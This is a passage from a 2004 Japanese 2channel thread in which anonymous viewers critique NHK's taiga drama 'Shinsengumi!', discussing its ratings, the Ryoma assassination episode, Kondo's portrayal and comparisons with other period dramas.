117 ：名無しさん＠お腹いっぱい。：04/10/25 13:10:00 ID:BU2pL4kL
前スレもこのスレも埋め立て荒らしでえらいことになってたんだな。
ああいうときはここに通報してやってくれ。（今回はもう通報済みだが）
【単独ｽﾚ】ｽｸﾘﾌﾟﾄ・ｺﾋﾟﾍﾟ報告スレッド12【全板共通
http://qb5.2ch.net/test/read.cgi/sec2chd/1098590728/
ああいうときはここに通報してやってくれ。（今回はもう通報済みだが）
【単独ｽﾚ】ｽｸﾘﾌﾟﾄ・ｺﾋﾟﾍﾟ報告スレッド12【全板共通
http://qb5.2ch.net/test/read.cgi/sec2chd/1098590728/
118 ：名無しさん＠お腹いっぱい。：04/10/25 13:24:22 ID:47GBUxXD
埋めさせとけばいいじゃん。
どうせ糞スレなんだし。
どうせ糞スレなんだし。
119 ：名無しさん＠お腹いっぱい。：04/10/25 13:47:04 ID:Aho1Ou8l
土方「新撰組が坂本龍馬助けてどうすんだよ！？」
このセリフに心の底から同意した。
このセリフに心の底から同意した。
120 ：名無しさん＠お腹いっぱい。：04/10/25 16:30:13 ID:zwQ3niT+
コメディーとして見ればまあまあおもしろい。Ｏ奥見たら
これの方が数段ましとおもった。
これの方が数段ましとおもった。
121 ：名無しさん＠お腹いっぱい。：04/10/25 16:49:19 ID:FpgGegvO
三谷ドラマ万歳！
122 ：名無しさん＠お腹いっぱい。：04/10/25 17:39:30 ID:0QjXHr7E
コメディーっぽくて面白いけどただのドラマでわざわざ大河でやんなくてもいいって感じ
重みが全くない
重みが全くない
123 ：名無しさん＠お腹いっぱい。：04/10/25 18:48:33 ID:W7Wmvao7
124 ：名無しさん＠お腹いっぱい。：04/10/25 18:58:59 ID:CVhshh+E
ドラマとしてみれば、面白いよ。
…大河という感じはしないがｗ
…大河という感じはしないがｗ
125 ：名無しさん＠お腹いっぱい。：04/10/25 19:00:12 ID:AzRy6Qvx
なんつう、、か、、、 三谷くんは相当風評に頭に来てるのかな？？
こんな新撰組があってもイイじゃねぇか、バカヤロー！！ みたいな
ツバを吐き捨てる様な回だったね・・・・
捨助の変貌ぶりが無気味・・・ というか、アレは精神状態がおかしい
こんな新撰組があってもイイじゃねぇか、バカヤロー！！ みたいな
ツバを吐き捨てる様な回だったね・・・・
捨助の変貌ぶりが無気味・・・ というか、アレは精神状態がおかしい
126 ：名無しさん@お腹いっぱい。：04/10/25 19:06:44 ID:je0EZzA+
終わりが近づいてくるのが嬉しい。早く義経見たい。
昨日初めてつまらないから途中でチャンネル変えた。飽きてきた。
昨日初めてつまらないから途中でチャンネル変えた。飽きてきた。
127 ：名無しさん＠お腹いっぱい。：04/10/25 19:14:39 ID:vj+uykXu
何だかんだ言ってここで蠢いている連中は
毎回このドラマを楽しみに見ているということが
よくわかりました。
毎回このドラマを楽しみに見ているということが
よくわかりました。
128 ：名無しさん＠お腹いっぱい。：04/10/25 19:49:37 ID:g9BiDea4
129 ：聴いたか坊主 ◆hR3wqNAfPQ ：04/10/25 19:50:15 ID:NFUMi2+Y
視聴率はもう出ていますか？
130 ：名無しさん＠お腹いっぱい。：04/10/25 19:52:12 ID:YGyVYwj7
131 ：聴いたか坊主 ◆hR3wqNAfPQ ：04/10/25 19:54:46 ID:NFUMi2+Y
10/24(日）新選組！ 16.5%（関西15.2%）
132 ：名無しさん＠お腹いっぱい。：04/10/25 20:00:11 ID:EkAFRW/p
忠臣蔵は面白いな
133 ：名無しさん＠お腹いっぱい。：04/10/25 20:02:35 ID:YGyVYwj7
134 ：名無しさん＠お腹いっぱい。：04/10/25 20:09:51 ID:5YxA2C5K
>>107
おもしろい。
おもしろい。
135 ：名無しさん＠お腹いっぱい。：04/10/25 20:22:37 ID:v5ie2wqs
>>131
ありがとう！
ありがとう！
136 ：名無しさん＠お腹いっぱい。：04/10/25 20:43:37 ID:n7EaXKci
おもしろくて市にそう
137 ：名無しさん＠お腹いっぱい。：04/10/25 20:57:57 ID:Cgb5KxEF
視聴率の平均ってどうなりました？
138 ：名無しさん＠お腹いっぱい。：04/10/25 21:17:52 ID:pjys8O1E
正確に言うとあと7回で終わりですよ
139 ：名無しさん＠お腹いっぱい。：04/10/25 21:18:34 ID:pZky63sJ
三谷には、一話完結的なものか、舞台で自分の世界を広げてほしい
140 ：名無しさん＠お腹いっぱい。：04/10/25 21:22:56 ID:CvomnnEI
>>104 それコピペ
141 ：名無しさん＠お腹いっぱい。：04/10/25 21:33:44 ID:47GBUxXD
こぴぺにまじれす かこわるい
142 ：名無しさん＠お腹いっぱい。：04/10/25 21:40:36 ID:FxDlqKMW
こぴぺにまじれす かこわるい
143 ：名無しさん＠お腹いっぱい。：04/10/25 22:08:58 ID:IB3bBLN9
かこぺにこぴれす まじわるい
144 ：名無しさん＠お腹いっぱい。：04/10/25 22:13:26 ID:Cgb5KxEF
この大河ドラマで一部の役者は人気が出たみたいだけど
新撰組の人気は上がったのかな
ミーハー的なものではなく、真摯に知りたいと思うようなそんな人気。
新撰組の人気は上がったのかな
ミーハー的なものではなく、真摯に知りたいと思うようなそんな人気。
145 ：名無しさん＠お腹いっぱい。：04/10/25 22:17:29 ID:Qwn0tcWd
こぴぺにまじれす かこわるい
146 ：名無しさん＠お腹いっぱい。：04/10/25 22:26:58 ID:MqVozK/M
近藤を美化するのもいいけど、頼りない局長だからなあ
147 ：名無しさん＠お腹いっぱい。：04/10/25 22:34:34 ID:MrYDMj/9
美化っていうより馬化だな。
148 ：名無しさん＠お腹いっぱい。：04/10/25 22:46:01 ID:bO1Gxbds
>>137
昨日までで17.1～17.2の間ぐらい。
残り7回なので、平均視聴率16.7%ワースト３位のの「武蔵」よりも平均が下回ることはまずないが
現在ワースト４位、平均17.7%の「琉球の風」を上回ることも余程の事がないと無理。
つまりワースト４位がほぼ確定。
昨日までで17.1～17.2の間ぐらい。
残り7回なので、平均視聴率16.7%ワースト３位のの「武蔵」よりも平均が下回ることはまずないが
現在ワースト４位、平均17.7%の「琉球の風」を上回ることも余程の事がないと無理。
つまりワースト４位がほぼ確定。
149 ：名無しさん＠お腹いっぱい。：04/10/25 22:50:26 ID:Cgb5KxEF
>148
詳しくありがとうございます！
親切な人だ…
詳しくありがとうございます！
親切な人だ…
150 ：名無しさん＠お腹いっぱい。：04/10/25 22:52:08 ID:Y8o6WaPI
竜馬暗殺でも数字が取れないんだからな
もう20越えは無理だろ
14～16台に終始して最終回18くらいかな
もう20越えは無理だろ
14～16台に終始して最終回18くらいかな
151 ：名無しさん＠お腹いっぱい。：04/10/25 22:54:23 ID:47GBUxXD
こぴぺにまじれす かこわるい
152 ：名無しさん＠お腹いっぱい。：04/10/25 23:31:02 ID:WV4tUuX1
竜馬、頭ぶすっといってるはずなのに傷口浅かったね。
血も少なくてこれ助かるんじゃないかと思った。
錦之助がやった竜馬（仲代が中岡の映画）は血べっとりでなんつーか怖かった。
血も少なくてこれ助かるんじゃないかと思った。
錦之助がやった竜馬（仲代が中岡の映画）は血べっとりでなんつーか怖かった。
153 ：名無しさん＠お腹いっぱい。：04/10/25 23:32:22 ID:qULmQFBj
いよいよ来週油小路かー
またもや近藤はおきれい路線
一方佐々木様って幕府バカで人斬り上等だけど、それでも魅力的で
カッコいい
今更だけど、どうして近藤だけがああなんだろう
またもや近藤はおきれい路線
一方佐々木様って幕府バカで人斬り上等だけど、それでも魅力的で
カッコいい
今更だけど、どうして近藤だけがああなんだろう
154 ：名無しさん＠お腹いっぱい。：04/10/25 23:46:54 ID:0qt7HJuU
>>153
他スレで見たネタだけど
三谷の中に「人格者は策を用いない」という思い込みがあるのが
いけないのではないかね。
永倉が「近藤さんは人を信じているから策を用いない」と言ってたけど
策を用いる事と人を信じる事は別問題でしょ。
にも関わらず、そこが一直線に繋がってしまうヒューマニズムのお安さが
近藤のキャラクターを徹底的に薄くしてるように思う。
要するに、劇中では永倉がついていきそうな人＝魅力的な人格者なわけだけど、
たぶん土方や龍馬や西郷には永倉はついていかないんだよね。
でも劇中で魅力的なのはこの三人のほうなんだよね。
つまりは・・まあそういうことですよw
他スレで見たネタだけど
三谷の中に「人格者は策を用いない」という思い込みがあるのが
いけないのではないかね。
永倉が「近藤さんは人を信じているから策を用いない」と言ってたけど
策を用いる事と人を信じる事は別問題でしょ。
にも関わらず、そこが一直線に繋がってしまうヒューマニズムのお安さが
近藤のキャラクターを徹底的に薄くしてるように思う。
要するに、劇中では永倉がついていきそうな人＝魅力的な人格者なわけだけど、
たぶん土方や龍馬や西郷には永倉はついていかないんだよね。
でも劇中で魅力的なのはこの三人のほうなんだよね。
つまりは・・まあそういうことですよw
155 ：名無しさん＠お腹いっぱい。：04/10/26 00:43:11 ID:oQ75BZwx
ここのアンチスレも薄っぺらなカキコが多くて、三谷以下と思っていたんだけど、
>>154氏の言わんとしていることには、初めて納得した。
>>154氏の言わんとしていることには、初めて納得した。
156 ：名無しさん＠お腹いっぱい。：04/10/26 01:38:05 ID:qfnNJEAb
157 ：名無しさん＠お腹いっぱい。：04/10/26 07:14:54 ID:GSF47i9p
>154
なんか薩摩が嫌な感じに描かれてると思ってたらそう言うことかあ
なんか薩摩が嫌な感じに描かれてると思ってたらそう言うことかあ
158 ：名無しさん＠お腹いっぱい。：04/10/26 09:42:33 ID:X850xyJa
>>148
結局、この一年の三谷の目標は「武蔵‘だけ”よりはマシ」になることだったんだねｗ
結局、この一年の三谷の目標は「武蔵‘だけ”よりはマシ」になることだったんだねｗ
159 ：名無しさん＠お腹いっぱい。：04/10/26 11:08:41 ID:dbJ8E2GG
>>157
うん、龍馬にはついていくだろうね。人を信じるから
問題は
＞近藤のキャラはさ、今後に生きてくるらしいよｗ
これ、なんだかさんざん煽られてるけど、この最終回（最後の一言？）の
一発逆転に失敗したらほんと目も当てられない結果になるよね
そもそも２時間の映画・舞台ならともかく、そんなラストの一瞬だけに
一年間を費やすという企て自体どうかとも思うけどさ
うん、龍馬にはついていくだろうね。人を信じるから
問題は
＞近藤のキャラはさ、今後に生きてくるらしいよｗ
これ、なんだかさんざん煽られてるけど、この最終回（最後の一言？）の
一発逆転に失敗したらほんと目も当てられない結果になるよね
そもそも２時間の映画・舞台ならともかく、そんなラストの一瞬だけに
一年間を費やすという企て自体どうかとも思うけどさ
161 ：名無しさん＠お腹いっぱい。：04/10/26 11:13:37 ID:z1RsS0e4
A：いまさあ、NHKで新選組やってるの、知ってる？
B：ああ、なんか聞いたことはある。大河だろ。
A：そうそう、視聴率が超ショボくて、悲惨なことになってんだけどさ。
B：へえ。主役はだれなの？
A：香取慎吾。近藤勇の役やってるらしい。
B：香取慎吾が近藤勇・・・なんじゃそりゃ。
A：まあ、その時点で終わってんだけどさ。
B：ジャニーズってことは、近藤勇が聖人君子になってるとか？(笑)
A：いや、ほんとその通り。新選組全体も、やけに美化されててさ。
B：いかにもイタそうなドラマだな。
A：しかもさあ・・・
B：なんかネタあるの？
A：この間、たまたまNHKつけて、新選組見てみたら、ちょうど龍馬暗殺のシーンで。
B：ほうほう。で？
A：すごいよ。殺られそうになってる龍馬のところに、新選組のヤツラが助けに行ってるんだよ。
B：新選組が坂本龍馬を助けに行く？ ハ？ マジで？
A：マジマジ。もう完全にSFレベルの展開。もう見てて爆笑しまくっちゃってさ。
B：すげえ・・・世間の知らないところで、そんなデムパがビュンビュンの時代劇やってたのかよ・・・
A：絶対見た方がいいって。笑いのネタとしては最高の部類に属するから。
B：えっと、日曜日の・・・
A：午後8時、NHK総合。
B：日曜日の午後8時、NHKね。よし分かった。
B：ああ、なんか聞いたことはある。大河だろ。
A：そうそう、視聴率が超ショボくて、悲惨なことになってんだけどさ。
B：へえ。主役はだれなの？
A：香取慎吾。近藤勇の役やってるらしい。
B：香取慎吾が近藤勇・・・なんじゃそりゃ。
A：まあ、その時点で終わってんだけどさ。
B：ジャニーズってことは、近藤勇が聖人君子になってるとか？(笑)
A：いや、ほんとその通り。新選組全体も、やけに美化されててさ。
B：いかにもイタそうなドラマだな。
A：しかもさあ・・・
B：なんかネタあるの？
A：この間、たまたまNHKつけて、新選組見てみたら、ちょうど龍馬暗殺のシーンで。
B：ほうほう。で？
A：すごいよ。殺られそうになってる龍馬のところに、新選組のヤツラが助けに行ってるんだよ。
B：新選組が坂本龍馬を助けに行く？ ハ？ マジで？
A：マジマジ。もう完全にSFレベルの展開。もう見てて爆笑しまくっちゃってさ。
B：すげえ・・・世間の知らないところで、そんなデムパがビュンビュンの時代劇やってたのかよ・・・
A：絶対見た方がいいって。笑いのネタとしては最高の部類に属するから。
B：えっと、日曜日の・・・
A：午後8時、NHK総合。
B：日曜日の午後8時、NHKね。よし分かった。
162 ：名無しさん＠お腹いっぱい。：04/10/26 11:24:13 ID:5Lo+HGGP
>>158
「花の乱」「竜馬がゆく」にも余裕で勝ってますが。
特に同じ幕末をテーマにし、ここにも信者が多くいそうな、司馬の「竜馬がゆく」に数字で勝ったので、
NHKも三谷もそれなりに満足してるんじゃないの？
「花の乱」「竜馬がゆく」にも余裕で勝ってますが。
特に同じ幕末をテーマにし、ここにも信者が多くいそうな、司馬の「竜馬がゆく」に数字で勝ったので、
NHKも三谷もそれなりに満足してるんじゃないの？
163 ：名無しさん＠お腹いっぱい。：04/10/26 11:54:45 ID:rhmL8Agj
ホームレス観柳斎が新選組に戻って近藤に許してもらって泣いてたけど、
絶対こいつこのあと薩摩に走るよ、と思ってた。
この前のステスケも竜馬にはああ言っといても
絶対佐々木様に居場所教えると思ってた。
伊東が平助を竜馬に貸したのも、何か裏があるんだと思ってた。
私性格悪いんだろうか・・・
絶対こいつこのあと薩摩に走るよ、と思ってた。
この前のステスケも竜馬にはああ言っといても
絶対佐々木様に居場所教えると思ってた。
伊東が平助を竜馬に貸したのも、何か裏があるんだと思ってた。
私性格悪いんだろうか・・・
164 ：名無しさん＠お腹いっぱい。：04/10/26 12:01:50 ID:7o/3xZP7
「新選組！」には悪人がいないのです。
165 ：名無しさん＠お腹いっぱい。：04/10/26 12:07:20 ID:U1x1zlgy
166 ：名無しさん＠お腹いっぱい。：04/10/26 12:32:39 ID:lY+4aFbs
また、視聴率で大奥に負けたねｗ
大奥は見てないが、理由として
１．近藤局長＜春日局
２．香取＜松下
３．三谷＜浅野（知らない脚本家）
といった点が考えられるが
大奥を見ている人がいたら、教えて欲しい。
大奥は見てないが、理由として
１．近藤局長＜春日局
２．香取＜松下
３．三谷＜浅野（知らない脚本家）
といった点が考えられるが
大奥を見ている人がいたら、教えて欲しい。
167 ：名無しさん＠お腹いっぱい。：04/10/26 12:35:33 ID:ZPIiMCnU
>128、そうだー！！ステスケ、近江屋に駆け込み、「竜ちゃん逃げて！」で良いんだよね！
うはーー
龍馬が殺されたのはステスケのウッカーリさんでしたか（￣□￣；）！！
うはーー
龍馬が殺されたのはステスケのウッカーリさんでしたか（￣□￣；）！！
168 ：名無しさん＠お腹いっぱい。：04/10/26 12:51:08 ID:O9vTdv0F
>>162
恥ずかしくないか？
恥ずかしくないか？
169 ：名無しさん＠お腹いっぱい。：04/10/26 12:56:18 ID:5Lo+HGGP
>>128>>167
馬鹿みたい。
捨助が近江屋に行かなかったのは、万一そこで佐々木達と鉢合わせたら、
今度こそ命が危ないからに決まっているじゃないか。
そんなことも一々説明してもらわなきゃ判らないかな。
馬鹿みたい。
捨助が近江屋に行かなかったのは、万一そこで佐々木達と鉢合わせたら、
今度こそ命が危ないからに決まっているじゃないか。
そんなことも一々説明してもらわなきゃ判らないかな。
170 ：名無しさん＠お腹いっぱい。：04/10/26 13:08:50 ID:cYzXOrQS
とりあえずこのスレタイは失敗だったな
171 ：１６７：04/10/26 13:16:51 ID:ZPIiMCnU
むーそうかー？距離よくワカランが。
どっちに駆け込むのが早かったかは。
万が一とかの独白とかステスケにあれば、もっとキンパクしたかもねー
どうでもいいけど。(^_^;)
どっちに駆け込むのが早かったかは。
万が一とかの独白とかステスケにあれば、もっとキンパクしたかもねー
どうでもいいけど。(^_^;)
172 ：名無しさん＠お腹いっぱい。：04/10/26 13:18:48 ID:UxDkBUdz
前回のスレタイもひどかったが・・・
やはり最初が肝心ということだろう。
もし次スレがあるときは、心せよ。
やはり最初が肝心ということだろう。
もし次スレがあるときは、心せよ。
173 ：名無しさん＠お腹いっぱい。：04/10/26 13:38:22 ID:Cj/eqj4s
174 ：名無しさん＠お腹いっぱい。：04/10/26 13:41:44 ID:ac+FnAFb
175 ：名無しさん＠お腹いっぱい。：04/10/26 13:44:01 ID:cYzXOrQS
>>173
距離は近江屋行く方が近かったの？
距離は近江屋行く方が近かったの？
176 ：名無しさん＠お腹いっぱい。：04/10/26 14:03:05 ID:Cj/eqj4s
>>175
佐々木の居場所（見回り組み詰所？）がどこだかはっきりしてないけど
境界争いのときに新選組より北よりの区域を示していたとこから見て
京の西側あたりだと思われる
そっから新選組屯所に行くには南方面で近江屋は河原町だから東に向かうことになり
方向があさってだな
佐々木の居場所（見回り組み詰所？）がどこだかはっきりしてないけど
境界争いのときに新選組より北よりの区域を示していたとこから見て
京の西側あたりだと思われる
そっから新選組屯所に行くには南方面で近江屋は河原町だから東に向かうことになり
方向があさってだな
177 ：名無しさん＠お腹いっぱい。：04/10/26 14:07:01 ID:cYzXOrQS
>>176
ちょっと調べてみたが見廻組は新選組と違って屯所のようなものはなかったらしい。
佐々木が住んでたのは二条城の北にある松林寺とかいう所で
そこからだと距離的にはだいたい同じぐらいかも。
ちょっと近江屋が近いぐらいかな。
ちょっと調べてみたが見廻組は新選組と違って屯所のようなものはなかったらしい。
佐々木が住んでたのは二条城の北にある松林寺とかいう所で
そこからだと距離的にはだいたい同じぐらいかも。
ちょっと近江屋が近いぐらいかな。
178 ：名無しさん＠お腹いっぱい。：04/10/26 14:11:37 ID:X850xyJa
179 ：名無しさん＠お腹いっぱい。：04/10/26 14:15:23 ID:X850xyJa
180 ：名無しさん＠お腹いっぱい。：04/10/26 14:23:00 ID:UkIu0dyt
二条城周辺には所司代の組屋敷もあるし守護職屋敷もあるし
見廻組隊士はそのへんに詰めてたんだろうな。
このあたりからなら、御池通りを東に進めば
わりとすぐ河原町に出る。
新選組の屯所は不動堂村だから京都駅周辺まで行かねばならず
河原町に比べると距離がある希ガス。
まあどっちも余裕で歩いていけるけど。
見廻組隊士はそのへんに詰めてたんだろうな。
このあたりからなら、御池通りを東に進めば
わりとすぐ河原町に出る。
新選組の屯所は不動堂村だから京都駅周辺まで行かねばならず
河原町に比べると距離がある希ガス。
まあどっちも余裕で歩いていけるけど。
181 ：171：04/10/26 14:25:38 ID:ZPIiMCnU
＞１７３、１７４、ほんとそう思うよ。
それに、見回り組に追いかけられて、切羽詰まって屯所へ逃げ切った方が
ステスケ的な株は上がったと思うし。幕末明治戦争の一つの岐路の暗殺
事件なのに・・・
＞１７６、１７７とってもためになりました、面白い情報ありがと。
(*'ー'*)
それに、見回り組に追いかけられて、切羽詰まって屯所へ逃げ切った方が
ステスケ的な株は上がったと思うし。幕末明治戦争の一つの岐路の暗殺
事件なのに・・・
＞１７６、１７７とってもためになりました、面白い情報ありがと。
(*'ー'*)
182 ：171：04/10/26 14:28:03 ID:ZPIiMCnU
＞１８０もありがと。
こういう四方山話題がこのスレの醍醐味だ。
あ～お茶が旨い。
こういう四方山話題がこのスレの醍醐味だ。
あ～お茶が旨い。
183 ：名無しさん＠お腹いっぱい。：04/10/26 14:46:55 ID:Cj/eqj4s
>>177
ざっと地図で調べてみたけど
松林寺から西本願寺または不動村まで約３ｋｍ
狭い道も含め走れば３０分はかからないぐらい
そっから近藤が話を聞いて永倉らが出発するまで２０分ぐらい
そっから河原町近江屋まで約２ｋｍで１５分くらいか
所要時間１時間５分
一方佐々木たち
仲間集めて出発するまで３０分
近江屋まで約２．５ｋｍあまり急がずに３０分
襲撃５分
所要時間１時間５分
ただしどちらも近江屋まで迷わないとして
ざっと地図で調べてみたけど
松林寺から西本願寺または不動村まで約３ｋｍ
狭い道も含め走れば３０分はかからないぐらい
そっから近藤が話を聞いて永倉らが出発するまで２０分ぐらい
そっから河原町近江屋まで約２ｋｍで１５分くらいか
所要時間１時間５分
一方佐々木たち
仲間集めて出発するまで３０分
近江屋まで約２．５ｋｍあまり急がずに３０分
襲撃５分
所要時間１時間５分
ただしどちらも近江屋まで迷わないとして
184 ：名無しさん＠お腹いっぱい。：04/10/26 14:53:45 ID:UkIu0dyt
まあ佐々木は到着してからかなり長い間
龍馬が一人になるのを待ってたわけだが。
永倉と原田は遅すぎ。
龍馬が一人になるのを待ってたわけだが。
永倉と原田は遅すぎ。
185 ：名無しさん＠お腹いっぱい。：04/10/26 15:04:39 ID:Cj/eqj4s
>>184
やはり迷ってたか？永倉原田
やはり迷ってたか？永倉原田
186 ：名無しさん＠お腹いっぱい。：04/10/26 15:06:48 ID:cYzXOrQS
捨助が迷ってたのかもよ
187 ：名無しさん＠お腹いっぱい。：04/10/26 15:31:24 ID:0cELC59T
188 ：171：04/10/26 15:56:19 ID:ZPIiMCnU
１８７、馬鹿だなぁ。喧嘩になりそうだったから、空気変えたんじゃん。
別に雰囲気壊してないでしょうが、と一応暇なので釣られて見る。(*'-^)-☆
別に雰囲気壊してないでしょうが、と一応暇なので釣られて見る。(*'-^)-☆
189 ：名無しさん＠お腹いっぱい。：04/10/26 16:35:35 ID:xKIL5vU0
190 ：名無しさん＠お腹いっぱい。：04/10/26 17:35:59 ID:9Yu09fQb
今週号の読売ウイークリーに香取のＮＨＫホームページの写真
未掲載に関する評論が
未掲載に関する評論が
191 ：名無しさん＠お腹いっぱい。：04/10/26 20:36:48 ID:0kcghKaY
新選組に無理やり龍馬いれて友人にしたんなら、
近藤と対立しないと意味ないじゃん。
近藤たちが龍馬を殺さないにしても、殺しに行くくらいの勢いでないと。
新選組に関係ない龍馬が勝手に出てきて勝手に死んでっただけじゃん。
近藤と対立しないと意味ないじゃん。
近藤たちが龍馬を殺さないにしても、殺しに行くくらいの勢いでないと。
新選組に関係ない龍馬が勝手に出てきて勝手に死んでっただけじゃん。
192 ：名無しさん＠お腹いっぱい。：04/10/26 21:13:38 ID:m4lqPEgc
>>189
捨助がいい香具師？
確かに最終的に憎めないキャラかもしれないが
うざいし信用できないし、あんな蝙蝠やろうとは深く関わりたくないな。
それにしても桂や象山や佐々木はなんで奴を信用したんだろう？
劇中の幕末価値観は「捨助みたいなバカこそ真に信頼にたる人物だ」ってのか？
桂は最初使い捨てのつもりで雇ってたけど、重要な密書とか運ばせてたし。
捨助がいい香具師？
確かに最終的に憎めないキャラかもしれないが
うざいし信用できないし、あんな蝙蝠やろうとは深く関わりたくないな。
それにしても桂や象山や佐々木はなんで奴を信用したんだろう？
劇中の幕末価値観は「捨助みたいなバカこそ真に信頼にたる人物だ」ってのか？
桂は最初使い捨てのつもりで雇ってたけど、重要な密書とか運ばせてたし。
193 ：名無しさん＠お腹いっぱい。：04/10/26 21:57:02 ID:uyMZzoOF
しかし、これだけ偽善化された新選組を見ると
どこかの民放でリアルな新選組を見たいなあ
どこかの民放でリアルな新選組を見たいなあ
194 ：名無しさん＠お腹いっぱい。：04/10/26 23:49:23 ID:X850xyJa
たとえばテレ東とか？
195 ：名無しさん＠お腹いっぱい。：04/10/26 23:59:51 ID:dp0fQLNO
新撰組！見てると、いかに年末時代劇、「白虎隊」が良くできてたか、
愛情深く作られていた良く分かる。
幕末の背景、会津、新撰組の役割もずっとわかりやすい。
お勧めですよ。
愛情深く作られていた良く分かる。
幕末の背景、会津、新撰組の役割もずっとわかりやすい。
お勧めですよ。
196 ：名無しさん＠お腹いっぱい。：04/10/27 00:53:41 ID:Jme90zpT
次回の油小路しょぼそうだなー。
また試衛館メンバーで揃って「平助は助けよう」パターンか。
また試衛館メンバーで揃って「平助は助けよう」パターンか。
197 ：名無しさん＠お腹いっぱい。：04/10/27 01:08:49 ID:szNspCqJ
みんなで平助助けようはお約束だから別にいいよ。
それよりも実際は近藤が謀殺目的で伊東を呼び出したはずなのに
何故か伊東のほうから近藤を暗殺するために出向いていったり
あまつさえ近藤に説得されて和解したり
和解したことを知らない隊士によって間違って殺されるという筋のほうを
どうにかしておくれ。
それよりも実際は近藤が謀殺目的で伊東を呼び出したはずなのに
何故か伊東のほうから近藤を暗殺するために出向いていったり
あまつさえ近藤に説得されて和解したり
和解したことを知らない隊士によって間違って殺されるという筋のほうを
どうにかしておくれ。
198 ：名無しさん＠お腹いっぱい。：04/10/27 01:10:53 ID:kk1+Fdf/
199 ：名無しさん＠お腹いっぱい。：04/10/27 01:25:36 ID:Eqp4UklZ
大奥のほうが視聴率高いんだ？
はじめのハチャメチャな多摩編がよくなかったんじゃないの？
ドロドロしてて切腹しまくり殺しまくりの怖いドラマにしといたほうが、
視聴率取れたんじゃなの？
新選組なら、大奥を越えるえぐくて残酷でドロドロしたドラマ作れるのに
もったいない。
はじめのハチャメチャな多摩編がよくなかったんじゃないの？
ドロドロしてて切腹しまくり殺しまくりの怖いドラマにしといたほうが、
視聴率取れたんじゃなの？
新選組なら、大奥を越えるえぐくて残酷でドロドロしたドラマ作れるのに
もったいない。
200 ：名無しさん＠お腹いっぱい。：04/10/27 01:47:18 ID:AdfB2oZY
201 ：名無しさん＠お腹いっぱい。：04/10/27 04:19:36 ID:kk1+Fdf/
>>200
白虎隊は再放送でも見たし、いい作品だと思うが
>>195のように、全く題材も作風も違う作品と比較して、相手を貶めるのに利用するような輩に勧められると
白虎隊自体が汚されるようなもんだとは思わないのか
少なくとも、白虎隊を見た事のない若い新選組！ファンは反感を持って今後絶対に見ないだろう
よって、本気で勧めているとも思えない
白虎隊は再放送でも見たし、いい作品だと思うが
>>195のように、全く題材も作風も違う作品と比較して、相手を貶めるのに利用するような輩に勧められると
白虎隊自体が汚されるようなもんだとは思わないのか
少なくとも、白虎隊を見た事のない若い新選組！ファンは反感を持って今後絶対に見ないだろう
よって、本気で勧めているとも思えない
202 ：名無しさん＠お腹いっぱい。：04/10/27 04:23:24 ID:kk1+Fdf/
203 ：名無しさん＠お腹いっぱい。：04/10/27 05:23:07 ID:hKb/Cb00
みんな馬鹿じゃきに。
204 ：名無しさん＠お腹いっぱい。：04/10/27 05:23:39 ID:VKPt9p/b
205 ：名無しさん＠お腹いっぱい。：04/10/27 07:08:26 ID:qWHjqaSA
今回の大河で初めて新選組の存在を知る人もいるだろうな
そうゆう人は近藤や土方という人物の行動に「？」と感じるかもしれないが
思想や行動は別として、大筋は史実から踏み外してないので入門編としてはいいんじゃないか？
なおリアルな新選組なら白黒映画で「幕末残酷物語」というのがあるからそれを勧めます。
リアルすぎるぐらいリアルだ。
そうゆう人は近藤や土方という人物の行動に「？」と感じるかもしれないが
思想や行動は別として、大筋は史実から踏み外してないので入門編としてはいいんじゃないか？
なおリアルな新選組なら白黒映画で「幕末残酷物語」というのがあるからそれを勧めます。
リアルすぎるぐらいリアルだ。
206 ：名無しさん＠お腹いっぱい。：04/10/27 08:28:46 ID:AH5H3BBz
207 ：名無しさん＠お腹いっぱい。：04/10/27 08:53:07 ID:GyIsmm7z
「大奥」のおふくは相当嫌な奴だが、近藤みたいに必死に正当化されなくても
主人公として受け入れられる。
あんなコテコテに作り物くさい「大奥」でも、登場人物の汚れをキレイに雑巾で
拭い去ったような小市民劇の大河よりは、まだ嘘くさくない気がするんだよね。
今回の大河の近藤は歴史ドラマ史上最悪の主人公と言えそう。
主人公として受け入れられる。
あんなコテコテに作り物くさい「大奥」でも、登場人物の汚れをキレイに雑巾で
拭い去ったような小市民劇の大河よりは、まだ嘘くさくない気がするんだよね。
今回の大河の近藤は歴史ドラマ史上最悪の主人公と言えそう。
208 ：１９５：04/10/27 10:27:23 ID:CXhBJUAL
201、おおげさだなぁ。アンチスレ来て何言ってるですか。
207うんうん、なんか言いたい事分かる。
しかし、あれだけ賞を取っていて、あながち才能ないとは言えない三谷が
なんでこんな作品を大河で？っていうのが謎。
207うんうん、なんか言いたい事分かる。
しかし、あれだけ賞を取っていて、あながち才能ないとは言えない三谷が
なんでこんな作品を大河で？っていうのが謎。
209 ：名無しさん＠お腹いっぱい。：04/10/27 11:51:16 ID:C8wx94BI
「大河」だから、失敗したんだろう？ 人には向き不向きってのがあるからね。
「王様のレストラン」「古畑任三郎」「ラヂオの時間」「笑いの大学」等々で
見せた緻密な複線や台詞回しの妙が、ことごとく裏目に出てる。
脇役に引きずられてストーリーが破綻する悪い癖も見られるし、まあ、三谷の
個性が悪い方に出たんだろう。
「王様のレストラン」「古畑任三郎」「ラヂオの時間」「笑いの大学」等々で
見せた緻密な複線や台詞回しの妙が、ことごとく裏目に出てる。
脇役に引きずられてストーリーが破綻する悪い癖も見られるし、まあ、三谷の
個性が悪い方に出たんだろう。
210 ：名無しさん＠お腹いっぱい。：04/10/27 12:09:57 ID:C8wx94BI
連レス、スマソ。
>>195
「白虎隊」の新撰組は脇役だったから良かったと思われ。
あのドラマの場合、メインの３人（松平容保・西郷頼母・井上丘隅）も
狂言廻し的存在で、主役はむしろ「時代の潮流」ともいうべき抽象的な
存在だった気がする（「時の流れの儚さに……」by主題歌「愛しき日々」）。
時代の動いてる様をちゃんと描いてたから、それに翻弄される登場人物に
共感を寄せられた。
今回の大河では、時代が動いてるように見えないから、共感できない
のだと思うが。
>>195
「白虎隊」の新撰組は脇役だったから良かったと思われ。
あのドラマの場合、メインの３人（松平容保・西郷頼母・井上丘隅）も
狂言廻し的存在で、主役はむしろ「時代の潮流」ともいうべき抽象的な
存在だった気がする（「時の流れの儚さに……」by主題歌「愛しき日々」）。
時代の動いてる様をちゃんと描いてたから、それに翻弄される登場人物に
共感を寄せられた。
今回の大河では、時代が動いてるように見えないから、共感できない
のだと思うが。
211 ：名無しさん＠お腹いっぱい。：04/10/27 13:26:46 ID:szNspCqJ
>>207
まぁね。
おふくは主人公のくせに権謀術数駆使してるし
大河ではいかに温い描写しかできないのかが浮き彫りに。
